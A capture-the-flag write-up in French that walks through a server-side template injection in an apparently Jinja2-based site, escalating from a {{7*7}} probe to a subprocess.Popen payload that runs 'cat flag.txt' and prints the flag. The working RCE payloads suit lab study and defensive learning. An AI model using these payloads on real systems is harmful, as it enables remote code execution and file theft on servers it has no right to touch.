Server-Side Template Injection (SSTI)

Consignes

Le flag se trouve à la racine du site web !

Réalisation

Les failles server-side template injection (SSTI) restent moins recherchées que d’autres types de vulnérabilités. Pourtant, leur impact est important et mène souvent à de l’exécution de code à distance (RCE). Ce sont donc des failles à ne pas sous-estimer.

Une SSTI se produit quand des données utilisateur sont injectées directement dans un moteur de template serveur (ex : Jinja2, Twig, Smarty, etc.) sans être correctement échappées.

Nous avons la possibilité de renseigner notre nom sur la page du site web, qui sera ensuite retourne pour être affiché dans le navigateur.

Le but est d'essayer de regarder si nous pouvons afficher une autre valeur que un nom d'utilisateur pour par la suite afficher le FLAG.

Pour se faire, on test d'exécuter ceci sur le site WEB :

{{7*7}}

Le serveur retourne alors Hello, 49 ! . Il prend bien en compte le calcul fourni.

Le site http://ctftime.org/writeup/11840 est utile pour ce chall

On suit donc ce qui a été effectué dans le writeup du lien ci-dessus et on entre ceci dans le champs du site cible :

{{ ''.__class__.__mro__[1].__subclasses__() }}

Le résultat obtenu représente une liste énorme de classes Python.

Ce qu’on cherche ensuite, c’est subprocess.Popen, souvent à un index spécifique dans la liste.

On recherche donc la classe python subprocess.Popen . Ceci peut être effectué par bruteforce via burp ou un script.

{{ ''.__class__.__mro__[1].__subclasses__()[370]}}

Dans notre cas, il s'agit de la classe numéro 370 parmi toutes celles proposées.

On lance donc maintenant une recherche du fichier flag.txt sur le site cible :

{{ ''.__class__.mro()[1].__subclasses__()[370]('cat flag.txt', shell=True, stdout=-1).communicate()[0].decode() }}

Le site retourne ceci :

Hello, 2600{A2IvInfdMcDGvTY8jRwHCg}!

Nous avons bien réussi à récupérer le FLAG :

2600{A2IvInfdMcDGvTY8jRwHCg}

Last updated